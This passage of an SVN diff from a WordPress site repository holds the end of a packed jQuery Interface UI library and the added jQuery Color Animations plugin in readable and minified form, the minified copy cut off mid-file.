a,3s,c,cs;A.1p.18.I(0).2Z=A.X.1g.D.5z;a=A.1p.18.I(0).Y;a.11=\'2v\';A.1p.18.1w=A.1U(A.12.3a(A.1p.18.I(0)),A.12.2f(A.1p.18.I(0)));a.V=A.X.1g.D.1w.1D+\'Q\';a.S=A.X.1g.D.1w.hb+\'Q\';3s=A.12.b2(A.X.1g);a.4M=3s.t;a.53=3s.r;a.4L=3s.b;a.4K=3s.l;if(A.X.1g.D.3L==14){c=A(A.X.1g).cA(14).I(0);cs=c.Y;cs.4M=\'2G\';cs.53=\'2G\';cs.4L=\'2G\';cs.4K=\'2G\';cs.11=\'2v\';A.1p.18.58().1L(c)}A(A.X.1g).dO(A.1p.18.I(0));A.X.1g.Y.11=\'1k\'},c7:C(e){if(!e.D.3I&&A.1s.4T.bC){if(e.D.3C)e.D.3C.1x(1g);A(e).E(\'T\',e.D.av||e.D.49);A(e).8j();A(A.1s.4T).dN(e)}A.1p.18.3S(e.D.5z).3i(\'&6G;\');A.1p.6X=P;F a=A.1p.18.I(0).Y;a.11=\'1k\';A.1p.18.dO(e);if(e.D.fx>0){A(e).6U(e.D.fx)}A(\'23\').1L(A.1p.18.I(0));F b=[];F c=H;1V(F i=0;i<A.1p.73.1b;i++){F d=A.1s.3p[A.1p.73[i]].I(0);F f=A.1m(d,\'id\');F g=A.1p.8g(f);if(d.1f.9P!=g.6A){d.1f.9P=g.6A;if(c==H&&d.1f.2I){c=d.1f.2I}g.id=f;b[b.1b]=g}}A.1p.73=[];if(c!=H&&b.1b>0){c(b)}},8n:C(e,o){if(!A.X.1g)G;F a=H;F i=0;if(e.1f.el.1N()>0){1V(i=e.1f.el.1N();i>0;i--){if(e.1f.el.I(i-1)!=A.X.1g){if(!e.5t.bb){if((e.1f.el.I(i-1).1I.y+e.1f.el.I(i-1).1I.hb/2)>A.X.1g.D.2j){a=e.1f.el.I(i-1)}L{1n}}L{if((e.1f.el.I(i-1).1I.x+e.1f.el.I(i-1).1I.1D/2)>A.X.1g.D.2n&&(e.1f.el.I(i-1).1I.y+e.1f.el.I(i-1).1I.hb/2)>A.X.1g.D.2j){a=e.1f.el.I(i-1)}}}}}if(a&&A.1p.6X!=a){A.1p.6X=a;A(a).iT(A.1p.18.I(0))}L if(!a&&(A.1p.6X!=P||A.1p.18.I(0).2S!=e)){A.1p.6X=P;A(e).1L(A.1p.18.I(0))}A.1p.18.I(0).Y.11=\'2v\'},bM:C(e){if(A.X.1g==P){G}e.1f.el.1y(C(){B.1I=A.1U(A.12.6w(B),A.12.6x(B))})},8g:C(s){F i;F h=\'\';F o={};if(s){if(A.1p.54[s]){o[s]=[];A(\'#\'+s+\' .\'+A.1p.54[s]).1y(C(){if(h.1b>0){h+=\'&\'}h+=s+\'[]=\'+A.1m(B,\'id\');o[s][o[s].1b]=A.1m(B,\'id\')})}L{1V(a in s){if(A.1p.54[s[a]]){o[s[a]]=[];A(\'#\'+s[a]+\' .\'+A.1p.54[s[a]]).1y(C(){if(h.1b>0){h+=\'&\'}h+=s[a]+\'[]=\'+A.1m(B,\'id\');o[s[a]][o[s[a]].1b]=A.1m(B,\'id\')})}}}}L{1V(i in A.1p.54){o[i]=[];A(\'#\'+i+\' .\'+A.1p.54[i]).1y(C(){if(h.1b>0){h+=\'&\'}h+=i+\'[]=\'+A.1m(B,\'id\');o[i][o[i].1b]=A.1m(B,\'id\')})}}G{6A:h,o:o}},dL:C(e){if(!e.ci){G}G B.1y(C(){if(!B.5t||!A(e).is(\'.\'+B.5t.3r))A(e).2H(B.5t.3r);A(e).6r(B.5t.D)})},4v:C(){G B.1y(C(){A(\'.\'+B.5t.3r).8j();A(B).ei();B.5t=P;B.dK=P})},2l:C(o){if(o.3r&&A.12&&A.X&&A.1s){if(!A.1p.18){A(\'23\',1c).1L(\'<1W id="dJ">&6G;</1W>\');A.1p.18=A(\'#dJ\');A.1p.18.I(0).Y.11=\'1k\'}B.ee({3r:o.3r,9F:o.9F?o.9F:H,8X:o.8X?o.8X:H,4G:o.4G?o.4G:H,76:o.76||o.ev,6C:o.6C||o.er,bC:14,2I:o.2I||o.iR,fx:o.fx?o.fx:H,3L:o.3L?14:H,5T:o.5T?o.5T:\'9S\'});G B.1y(C(){F a={5B:o.5B?14:H,dI:5P,1E:o.1E?2c(o.1E):H,5z:o.4G?o.4G:H,fx:o.fx?o.fx:H,3I:14,3L:o.3L?14:H,3c:o.3c?o.3c:P,2e:o.2e?o.2e:P,4c:o.4c&&o.4c.1F==2w?o.4c:H,4h:o.4h&&o.4h.1F==2w?o.4h:H,3C:o.3C&&o.3C.1F==2w?o.3C:H,2g:/3K|3Z/.3M(o.2g)?o.2g:H,5D:o.5D?R(o.5D)||0:H,2M:o.2M?o.2M:H};A(\'.\'+o.3r,B).6r(a);B.dK=14;B.5t={3r:o.3r,5B:o.5B?14:H,dI:5P,1E:o.1E?2c(o.1E):H,5z:o.4G?o.4G:H,fx:o.fx?o.fx:H,3I:14,3L:o.3L?14:H,3c:o.3c?o.3c:P,2e:o.2e?o.2e:P,bb:o.bb?14:H,D:a}})}}};A.fn.1U({iP:A.1p.2l,dN:A.1p.dL,iO:A.1p.4v});A.iN=A.1p.8g;A.2k={62:P,9o:H,9p:P,6a:C(e){A.2k.9o=14;A.2k.1S(e,B,14)},bk:C(e){if(A.2k.62!=B)G;A.2k.9o=H;A.2k.2x(e,B)},1S:C(e,a,b){if(A.2k.62!=P)G;if(!a){a=B}A.2k.62=a;1I=A.1U(A.12.3a(a),A.12.2f(a));7U=A(a);3T=7U.1m(\'3T\');2U=7U.1m(\'2U\');if(3T){A.2k.9p=3T;7U.1m(\'3T\',\'\');A(\'#dE\').3i(3T);if(2U)A(\'#bj\').3i(2U.48(\'iI://\',\'\'));L A(\'#bj\').3i(\'\');18=A(\'#7S\');if(a.4m.2Z){18.I(0).2Z=a.4m.2Z}L{18.I(0).2Z=\'\'}bi=A.12.2f(18.I(0));dD=b&&a.4m.T==\'bn\'?\'4e\':a.4m.T;2X(dD){19\'O\':2j=1I.y-bi.hb;2n=1I.x;1n;19\'M\':2j=1I.y;2n=1I.x-bi.1D;1n;19\'2D\':2j=1I.y;2n=1I.x+1I.1D;1n;19\'bn\':A(\'23\').1C(\'3t\',A.2k.3t);1A=A.12.3W(e);2j=1A.y+15;2n=1A.x+15;1n;8T:2j=1I.y+1I.hb;2n=1I.x;1n}18.E({O:2j+\'Q\',M:2n+\'Q\'});if(a.4m.4w==H){18.1S()}L{18.6U(a.4m.4w)}if(a.4m.2K)a.4m.2K.1x(a);7U.1C(\'86\',A.2k.2x).1C(\'4W\',A.2k.bk)}},3t:C(e){if(A.2k.62==P){A(\'23\').3h(\'3t\',A.2k.3t);G}1A=A.12.3W(e);A(\'#7S\').E({O:1A.y+15+\'Q\',M:1A.x+15+\'Q\'})},2x:C(e,a){if(!a){a=B}if(A.2k.9o!=14&&A.2k.62==a){A.2k.62=P;A(\'#7S\').6d(1);A(a).1m(\'3T\',A.2k.9p).3h(\'86\',A.2k.2x).3h(\'4W\',A.2k.bk);if(a.4m.2V)a.4m.2V.1x(a);A.2k.9p=P}},2l:C(b){if(!A.2k.18){A(\'23\').1L(\'<1W id="7S"><1W id="dE"></1W><1W id="bj"></1W></1W>\');A(\'#7S\').E({T:\'1J\',3j:5P,11:\'1k\'});A.2k.18=14}G B.1y(C(){if(A.1m(B,\'3T\')){B.4m={T:/O|4e|M|2D|bn/.3M(b.T)?b.T:\'4e\',2Z:b.2Z?b.2Z:H,4w:b.4w?b.4w:H,2K:b.2K&&b.2K.1F==2w?b.2K:H,2V:b.2V&&b.2V.1F==2w?b.2V:H};F a=A(B);a.1C(\'9r\',A.2k.1S);a.1C(\'6a\',A.2k.6a)}})}};A.fn.iH=A.2k.2l;A.7O={bl:C(e){6K=e.6S||e.6R||-1;if(6K==9){if(1P.3N){1P.3N.b6=14;1P.3N.b5=H}L{e.9b();e.99()}if(B.9q){1c.64.dv().3D="\\t";B.dB=C(){B.6a();B.dB=P}}L if(B.9m){2b=B.88;3m=B.dA;B.2m=B.2m.iG(0,2b)+"\\t"+B.2m.iF(3m);B.9m(2b+1,2b+1);B.6a()}G H}},4v:C(){G B.1y(C(){if(B.6V&&B.6V==14){A(B).3h(\'70\',A.7O.bl);B.6V=H}})},2l:C(){G B.1y(C(){if(B.4D==\'bs\'&&(!B.6V||B.6V==H)){A(B).1C(\'70\',A.7O.bl);B.6V=14}})}};A.fn.1U({iD:A.7O.2l,iC:A.7O.4v});A.12={3a:C(e){F x=0;F y=0;F a=e.Y;F b=H;if(A(e).E(\'11\')==\'1k\'){F c=a.2W;F d=a.T;b=14;a.2W=\'2B\';a.11=\'2v\';a.T=\'1J\'}F f=e;6k(f){x+=f.7Y+(f.4u&&!A.2R.6l?R(f.4u.4y)||0:0);y+=f.7t+(f.4u&&!A.2R.6l?R(f.4u.4x)||0:0);f=f.dY}f=e;6k(f&&f.4D&&f.4D.5u()!=\'23\'){x-=f.2P||0;y-=f.2T||0;f=f.2S}if(b==14){a.11=\'1k\';a.T=d;a.2W=c}G{x:x,y:y}},6x:C(a){F x=0,y=0;6k(a){x+=a.7Y||0;y+=a.7t||0;a=a.dY}G{x:x,y:y}},2f:C(e){F w=A.E(e,\'V\');F h=A.E(e,\'S\');F a=0;F b=0;F c=e.Y;if(A(e).E(\'11\')!=\'1k\'){a=e.3P;b=e.5r}L{F d=c.2W;F f=c.T;c.2W=\'2B\';c.11=\'2v\';c.T=\'1J\';a=e.3P;b=e.5r;c.11=\'1k\';c.T=f;c.2W=d}G{w:w,h:h,1D:a,hb:b}},6w:C(a){G{1D:a.3P||0,hb:a.5r||0}},a5:C(e){F h,w,de;if(e){w=e.83;h=e.7P}L{de=1c.4A;w=1P.bg||9z.bg||(de&&de.83)||1c.23.83;h=1P.bf||9z.bf||(de&&de.7P)||1c.23.7P}G{w:w,h:h}},5O:C(e){F t=0,l=0,w=0,h=0,iw=0,ih=0;if(e&&e.98.5u()!=\'23\'){t=e.2T;l=e.2P;w=e.be;h=e.bd;iw=0;ih=0}L{if(1c.4A){t=1c.4A.2T;l=1c.4A.2P;w=1c.4A.be;h=1c.4A.bd}L if(1c.23){t=1c.23.2T;l=1c.23.2P;w=1c.23.be;h=1c.23.bd}iw=9z.bg||1c.4A.83||1c.23.83||0;ih=9z.bf||1c.4A.7P||1c.23.7P||0}G{t:t,l:l,w:w,h:h,iw:iw,ih:ih}},b2:C(e,a){F c=A(e);F t=c.E(\'4M\')||\'\';F r=c.E(\'53\')||\'\';F b=c.E(\'4L\')||\'\';F l=c.E(\'4K\')||\'\';if(a)G{t:R(t)||0,r:R(r)||0,b:R(b)||0,l:R(l)};L G{t:t,r:r,b:b,l:l}},9y:C(e,a){F c=A(e);F t=c.E(\'5b\')||\'\';F r=c.E(\'5g\')||\'\';F b=c.E(\'4Q\')||\'\';F l=c.E(\'4F\')||\'\';if(a)G{t:R(t)||0,r:R(r)||0,b:R(b)||0,l:R(l)};L G{t:t,r:r,b:b,l:l}},6b:C(e,a){F c=A(e);F t=c.E(\'4x\')||\'\';F r=c.E(\'5i\')||\'\';F b=c.E(\'5d\')||\'\';F l=c.E(\'4y\')||\'\';if(a)G{t:R(t)||0,r:R(r)||0,b:R(b)||0,l:R(l)||0};L G{t:t,r:r,b:b,l:l}},3W:C(a){F x=a.iB||(a.iz+(1c.4A.2P||1c.23.2P))||0;F y=a.iy||(a.ix+(1c.4A.2T||1c.23.2T))||0;G{x:x,y:y}},bH:C(a,b){b(a);a=a.6M;6k(a){A.12.bH(a,b);a=a.iv}},ji:C(c){A.12.bH(c,C(a){1V(F b in a){if(28 a[b]===\'C\'){a[b]=P}}})},ir:C(a,b){F c=A.12.5O();F d=A.12.2f(a);if(!b||b==\'3K\')A(a).E({O:c.t+((Z.3g(c.h,c.ih)-c.t-d.hb)/2)+\'Q\'});if(!b||b==\'3Z\')A(a).E({M:c.l+((Z.3g(c.w,c.iw)-c.l-d.1D)/2)+\'Q\'})},iq:C(a,b){F c=A(\'3O[@2E*="7q"]\',a||1c),7q;c.1y(C(){7q=B.2E;B.2E=b;B.Y.4X="9x:9C.9E.ip(2E=\'"+7q+"\')"})}};[].3o||(6h.jn.3o=C(v,n){n=(n==P)?0:n;F m=B.1b;1V(F i=n;i<m;i++)if(B[i]==v)G i;G-1});',62,1202,'||||||||||||||||||||||||||||||||||||jQuery|this|function|dragCfg|css|var|return|false|get|ss|iAuto|else|left|iResize|top|null|px|parseInt|height|position|oldStyle|width|new|iDrag|style|Math||display|iUtil||true||||helper|case|autoCFG|length|document|slideshow|easing|dropCfg|dragged|resizeOptions|carouselCfg|interfaceFX|none|speed|attr|break|sizes|iSort|ImageBox|queue|iDrop|iAutoscroller|slide|resizeElement|oC|apply|each|fisheyeCfg|pointer|newSizes|bind|wb|opacity|constructor|custom|duration|pos|absolute|type|append|items|size|255|window|slideslinks|images|show|complete|extend|for|div|elsToScroll|100|cont||loader|oR|body|options||oldP||typeof|callback|accordionCfg|start|parseFloat||containment|getSize|axis|selectedItem|relative|ny|iTooltip|build|value|nx|slideCaption|islideshow|container|subject|newPosition|selectHelper|border|block|Function|hide|itemWidth|dequeue|timer|hidden|fractions|right|src|PI|0px|addClass|onChange|parentData|onShow|result|cursorAt|overflow|transferHelper|scrollLeft|iSlider|browser|parentNode|scrollTop|href|onHide|visibility|switch|wrapper|className|pre|selectdrug|||||||||getPosition|nextslide|handle|currentslide|prevslide|step|max|unbind|html|zIndex|min|iExpander|end|onSlide|indexOf|zones|iframe|accept|margins|mousemove|canvas|to|item|createElement|multipleSeparator|highlighted|resizeDirection|abs|onStop|text|toggle|fadeDuration|handlers|dragElem|so|distance|vertically|ghosting|test|event|img|offsetWidth|startLeft|pageSize|removeClass|title|out|startTop|getPointer|lastSuggestion|DropOutDirectiont|horizontally||down||nWidth|ratio|dimm|msie||replace|oP|fontSize|lastValue|onStart|currentPointer|bottom|ifxFirstDisplay|slideCfg|onDrag|clear|context|elToScroll|up|tooltipCFG|fxCheckTag|rel|scr|onclick|endLeft|dragmoveBy|slidePos|currentStyle|destroy|delay|borderTopWidth|borderLeftWidth|nHeight|documentElement|string|containerW|tagName|iteration|paddingLeft|helperclass|endTop|halign|linksPosition|marginLeft|marginBottom|marginTop|OpenClose|holder|si|paddingBottom|mousedown|animate|overzone|click|onDragModifier|blur|filter|toDrag|getAttribute||cos|cnt|marginRight|collected||slideshows|newCoords|empty|containerH|elementData|paddingTop|puff|borderBottomWidth|animationHandler|values|paddingRight|clearInterval|borderRightWidth|pow|dragHandle|BlindDirection|post|mouseup|close|onSelect|fxh|offsetHeight|activeLinkClass|sortCfg|toLowerCase|url|currentPanel|point|grid|hpc|currentRel|revert|captionText|snapDistance|Scale|nextImage|prevImage|imageEl|orig|onload|iFisheye|parseColor|getHeight|getWidth|getScroll|3000|keyup|maxWidth|curCSS|tolerance|reflections|captionPosition|caption|margin|setInterval|outerContainer||itemHeight|current|random|selection|limit|Expander|128|class|sliders|focus|getBorder|newTop|fadeOut|indic|user|init|Array|frameClass|ActiveXObject|while|opera|from|open|oD|Date|proximity|Draggable|0x|F0|minLeft|rgb|getSizeLite|getPositionLite|getTime|positionItems|hash|selectCurrent|onOut|onClick|Object|minTop|nbsp|onHighlight|np|selectKeyHelper|pressedKey|accordionPos|firstChild|139|scrollIntoView|backgroundColor|oldStyleAttr|keyCode|charCode|direction|fadeIn|hasTabsEnabled|split|inFrontOf|radiusY|captionEl|keydown|sc|selectClass|changed|times||onHover|newLeft||efx|nw|li|maxRight|maxBottom|classname|startDrag|move|ImageBoxNextImage|nRx|ImageBoxPrevImage|nRy|opened|animationInProgress|400|getElementById|count|png|overlay|alpha|offsetTop|containerSize|cssSides|stop|minHeight|maxHeight|cursor|selectedone|xproc|yproc|bounceout|padding|gallery|increment|namedColors|applyOn|showImage|reflectionSize|sin|object|directionIncrement|iTTabs|clientHeight|select|activeClass|tooltipHelper|imgs|jEl|insideParent|content|parent|offsetLeft|parentBorders||captionClass|linksClass|clientWidth|link||mouseout|fontWeight|selectionStart|expand|panels|createTextNode|onselectstop|onselect|hight|elS|serialize|dir|diffHeight|DraggableDestroy|nextImageEl|prevImageEl|ImageBoxOuterContainer|checkhover|blind|iCarousel|hideImage|hidehelper|diffWidth|String|sl|st|prot|auto|diffY|diffX|headers|rule|getFieldValues|styleSheets|borderColor|positionContainer|image|getValues|dragstop|linkRel|itemsText|isDraggable|Image|minchars|minWidth|panelSelector|exec|192|isDroppable|default|211|1000|5625|hoverclass|headerSelector|next|ul|2000|SliderContainer|protectRotation|childs|oldVisibility|source|setTimeout|nodeName|stopPropagation|startTime|preventDefault|hoverClass|cssText|1px|prev|unfold|DoFold|unit|nextslideClass|multiple|itemMinWidth|setSelectionRange|destroyWrapper|focused|oldTitle|createTextRange|mouseover|inCache|prevslideClass|buildWrapper|linksSeparator|lnk|progid|getPadding|self|ScrollTo|9999|DXImageTransform|helperClass|Microsoft|activeclass|iIndex|selectcheck|onDrop|selectKeyUp|autofill|selectKeyDown|panelHeight|handleEl|onActivate|os|ne|sw|intersect|dragEl|remove|data|textAlign|ImageBoxCaption|closeEl|captionImages|ImageBoxOverlay|ImageBoxIframe|clearTimeout|keyPressed|fade|getClient|Alpha|shake|Shake|snapToGrid|lastSi|scroll||modifyContainer|fitToContainer|currentValue|zoom|getContainment|firstStep|paddingLeftSize|paddingBottomSize|paddingRightSize|paddingTopSize|borderLeftSize|borderBottomSize|borderRightSize|borderTopSize|autoSize|shrink|pulse|Pulsate|initialPosition|imageSrc|parseStyle|sliderPos|center|ImageBoxCurrentImage|loadImage|parentPos|match|dragmove|stopAnim|pause|Color|unselectable|prepend|borderWidth|cssSidesEnd|draginit|stopDrag|moveDrag|asin|bouncein|paddingY|paddingX|tabindex|writeItems|INPUT|10000|169|index|sliderSize|no|linear|getMargins|spacer|rotationSpeed|returnValue|cancelBubble|transparent|angle|autocomplete|autoplay|floats|extraWidth|scrollHeight|scrollWidth|innerHeight|innerWidth|character|helperSize|tooltipURL|hidefocused|doTab|Number|mouse|oBor|oPad|entities||TEXTAREA|slideshowHolder|loaderWidth|inputWidth|RegExp|letterSpacing|sliderEl|300|SliderIteration|restricted|sortable|isSlider|bounce|Selectserialize|idsa|traverseDOM|selectstop|elm|elPosition|restore|measure|getHeightMinMax|onDragStart|fit|clientSize|field|fadeTo|ImageBoxContainer|on|listStyle|ImageBoxLoader|dragHelper|ImageBoxCaptionImages|getContext|ImageBoxCaptionText|update|imagebox|BlindUp|hrefAttr|relAttr|SlideOutUp|check|checkdrop|textImageFrom|textImage|overlayOpacity|jpg|closeHTML|gif|loaderSRC|imageTypes|500|childNodes|itransferTo|highlight|visible|horizontal|vertical|parts|paddingLeftUnit|paddingBottomUnit|paddingRightUnit||paddingTopUnit|borderLeftUnit|borderBottomUnit|borderRightUnit|borderTopUnit|fontUnit|grow|clone|sqrt|textDecoration|dragstart|trim|isFunction|valign|userSelect|fxe|KhtmlUserSelect|Width|captionSize|dhe|colorCssProps|onDragStop|iAccordion|cssProps|doScroll|144|224|230|keypress|off|150|140|107|fracH|fracW|easeout|dragmoveByKey|autocompleteHelper|yfrac|165|scrolling|radiusX|xfrac|frameborder|245|javascript|240||autocompleteIframe|999|protect|goprev|getElementsByTagName|styleFloat||parte|insertBefore|itemZIndex|interfaceColorFX|fold|mousex|leftUnit|topUnit|fakeAccordionClass|createRange|getSelectionStart|||slideshowLoader|selectionEnd|onblur|moveStart|filteredPosition|tooltipTitle|togglehor|togglever|inputValue|zindex|sortHelper|isSortable|addItem|checkCache|SortableAddItem|after|BlindDown|time|SlideInUp|slideshowPrevslide|elType|30px|slideshowNextSlide|slideshowCaption|expanderHelper|offsetParent|slideshowLinks|boxModel|loaderHeight||slideBor|slidePad|htmlEntities|wordSpacing|fontVariant|fontStretch|fontStyle|gonext|fontFamily|onslide|clickItem|Droppable||rgba||DroppableDestroy|maxy|maxx|||hoverItem|containerMaxy|containerMaxx||onout|addColorStop||iBounce|onhover|set|selectedclass|isSelectable|selectstopApply|selectcheckApply|selectstart|shc|360|directions|remeasure|onResize|se|array|scale|success|param|translate|POST|number|load|ajax|save|name|khtml|moz|find|ondragstart|onselectstart|lineHeigt|mozUserSelect|ImageBoxClose|bmp|jpeg|finishx|112|starty|first|last|firstResize|startx|imageLoaded|Showing|finishOpacity|110|Accordion|loading|TransferTo|SlideToggleRight|SlideOutRight|SlideInRight|SlideToggleLeft|SlideOutLeft|SlideInLeft||SlideToggleDown|SlideOutDown|SlideInDown|SlideToggleUp|scrollTo|ScrollToAnchors|flipv|pt|Puff||Shrink|Fisheye||Grow|OpenHorizontally|OpenVertically|SwitchVertically|SwitchHorizontally|CloseHorizontally|CloseVertically|toUpperCase|100000000|selectorText|rules|cssRules|borderStyle|outset|inset|ridge|resize|groove|double|solid|dashed|dotted|isNaN|fromHandler|stopAll|MozUserSelect|Left|Bottom|Right|Top|outlineColor|color|borderTopColor|borderRightColor|borderLeftColor|borderBottomColor|textIndent|outlineWidth|elasticboth|outlineOffset|wh|elasticout|lineHeight|yellow|white|silver|red|purple|203||pink|orange|olive|navy||maroon|magenta|lime|||elasticin|lightyellow|193|182|lightpink|bounceboth|lightgrey|238|lightgreen|lightcyan|Autocomplete|216|173|200|984375|lightblue|khaki|130|625|indigo|green|215|9375|gold|fuchsia|148|darkviolet|122|233|darksalmon|darkred|204|153|darkorchid|darkorange|30002|list|darkolivegreen|||darkmagenta|183|189|darkkhaki|easeboth|darkgreen|30001|darkgrey|darkcyan|darkblue|cyan|easein|brown|blue||black|hover|220|beige|azure|aqua|appendChild|cssFloat|fxWrapper|ol|table|fix|form|button|nodeValue|textarea|input|w_|float|Carousel|removeChild|meta|optgroup|option|frameset|frame|script|header|th|colgroup|col|tfoot|thead|tbody|td|tr|Highlight|FoldToggle|UnFold|Fold|DropToggleRight|DropInRight|DropOutRight|DropToggleLeft|DropInLeft|DropOutLeft|DropToggleUp||DropInUp||DropOutUp||DropToggleDown|100000|DropInDown|duplicate|DropOutDown||120|AlphaImageLoader|fixPNG|centerEl||rotationTimer|maxRotation|nextSibling||clientY|pageY|clientX|Bounce|pageX|DisableTabs|EnableTabs|moveEnd|substr|substring|ToolTip|http|collapse|BlindToggleHorizontally|BlindRight|BlindLeft|SortSerialize|SortableDestroy|Sortable|BlindToggleVertically|onchange|fillRect|before|Autoexpand|fill|password|WebKit|slideshowLink|quot|lt|amp|alt|IMG|par|appVersion|pW|navigator|location|fillStyle|SliderGetValues|SliderSetValues|Slider|recallDroppables|ondrop|createLinearGradient|Selectable|destination|purgeEvents|ResizableDestroy|Resizable|globalCompositeOperation|drawImage|prototype'.split('|'),0,{}));
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.color.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.color.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.color.dev.js	(revision 44)
@@ -0,0 +1,128 @@
+/*
+ * jQuery Color Animations
+ * Copyright 2007 John Resig
+ * Released under the MIT and GPL licenses.
+ */
+
+(function(jQuery){
+
+    // We override the animation for all of these color styles
+    jQuery.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i,attr){
+        jQuery.fx.step[attr] = function(fx){
+            if ( fx.state == 0 ) {
+                fx.start = getColor( fx.elem, attr );
+                fx.end = getRGB( fx.end );
+            }
+
+            fx.elem.style[attr] = "rgb(" + [
+                Math.max(Math.min( parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0]), 255), 0),
+                Math.max(Math.min( parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1]), 255), 0),
+                Math.max(Math.min( parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2]), 255), 0)
+            ].join(",") + ")";
+        }
+    });
+
+    // Color Conversion functions from highlightFade
+    // By Blair Mitchelmore
+    // http://jquery.offput.ca/highlightFade/
+
+    // Parse strings looking for color tuples [255,255,255]
+    function getRGB(color) {
+        var result;
+
+        // Check if we're already dealing with an array of colors
+        if ( color && color.constructor == Array && color.length == 3 )
+            return color;
+
+        // Look for rgb(num,num,num)
+        if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color))
+            return [parseInt(result[1]), parseInt(result[2]), parseInt(result[3])];
+
+        // Look for rgb(num%,num%,num%)
+        if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color))
+            return [parseFloat(result[1])*2.55, parseFloat(result[2])*2.55, parseFloat(result[3])*2.55];
+
+        // Look for #a0b1c2
+        if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color))
+            return [parseInt(result[1],16), parseInt(result[2],16), parseInt(result[3],16)];
+
+        // Look for #fff
+        if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color))
+            return [parseInt(result[1]+result[1],16), parseInt(result[2]+result[2],16), parseInt(result[3]+result[3],16)];
+
+        // Look for rgba(0, 0, 0, 0) == transparent in Safari 3
+        if (result = /rgba\(0, 0, 0, 0\)/.exec(color))
+            return colors['transparent']
+
+        // Otherwise, we're most likely dealing with a named color
+        return colors[jQuery.trim(color).toLowerCase()];
+    }
+
+    function getColor(elem, attr) {
+        var color;
+
+        do {
+            color = jQuery.curCSS(elem, attr);
+
+            // Keep going until we find an element that has color, or we hit the body
+            if ( color != '' && color != 'transparent' || jQuery.nodeName(elem, "body") )
+                break;
+
+            attr = "backgroundColor";
+        } while ( elem = elem.parentNode );
+
+        return getRGB(color);
+    };
+
+    // Some named colors to work with
+    // From Interface by Stefan Petre
+    // http://interface.eyecon.ro/
+
+    var colors = {
+        aqua:[0,255,255],
+        azure:[240,255,255],
+        beige:[245,245,220],
+        black:[0,0,0],
+        blue:[0,0,255],
+        brown:[165,42,42],
+        cyan:[0,255,255],
+        darkblue:[0,0,139],
+        darkcyan:[0,139,139],
+        darkgrey:[169,169,169],
+        darkgreen:[0,100,0],
+        darkkhaki:[189,183,107],
+        darkmagenta:[139,0,139],
+        darkolivegreen:[85,107,47],
+        darkorange:[255,140,0],
+        darkorchid:[153,50,204],
+        darkred:[139,0,0],
+        darksalmon:[233,150,122],
+        darkviolet:[148,0,211],
+        fuchsia:[255,0,255],
+        gold:[255,215,0],
+        green:[0,128,0],
+        indigo:[75,0,130],
+        khaki:[240,230,140],
+        lightblue:[173,216,230],
+        lightcyan:[224,255,255],
+        lightgreen:[144,238,144],
+        lightgrey:[211,211,211],
+        lightpink:[255,182,193],
+        lightyellow:[255,255,224],
+        lime:[0,255,0],
+        magenta:[255,0,255],
+        maroon:[128,0,0],
+        navy:[0,0,128],
+        olive:[128,128,0],
+        orange:[255,165,0],
+        pink:[255,192,203],
+        purple:[128,0,128],
+        violet:[128,0,128],
+        red:[255,0,0],
+        silver:[192,192,192],
+        white:[255,255,255],
+        yellow:[255,255,0],
+        transparent: [255,255,255]
+    };
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.color.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.color.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/jquery.color.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(d){d.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(f,e){d.fx.step[e]=function(g){if(g.state==0){g.start=c(g.elem,e);g.end=b(g.end)}g.elem.style[e]="rgb("+[Math.max(Math.min(parseInt((g.pos*(g.end[0]-g.start[0]))+g.start[0]),255),0),Math.max(Math.min(parseInt((g.pos*(g.end[1]-g.start[1]))+g.start[1]),255),0),Math.max(Math.min(parseInt((g.pos*(g.end[2]-g.start[2]))+g.start[2]),255),0)].join(",")+")"}});function b(f){var e;if(f&&f.constructor==Array&&f.length==3){return f}if(e=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(f)){return[parseInt(e[1]),parseInt(e[2]),parseInt(e[3])]}if(e=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(f)){return[parseFloat(e[1])*2.55,parseFloat(e[2])*2.55,parseFloat(e[3])*2.55]}if(e=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(f)){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16)]}if(e=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(f)){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16)]}if(e=/rgba\(0, 0, 0, 0\)/.exec(f)){return a.transparent}return a[d.trim(f).toLowerCase()]}function c(g,e){var f;do{f=d.curCSS(g,e);if(f!=""&&f!="transparent"||d.nodeName(g,"body")){break}e="backgroundColor"}while(g=g.parentNode);return b(f)}var 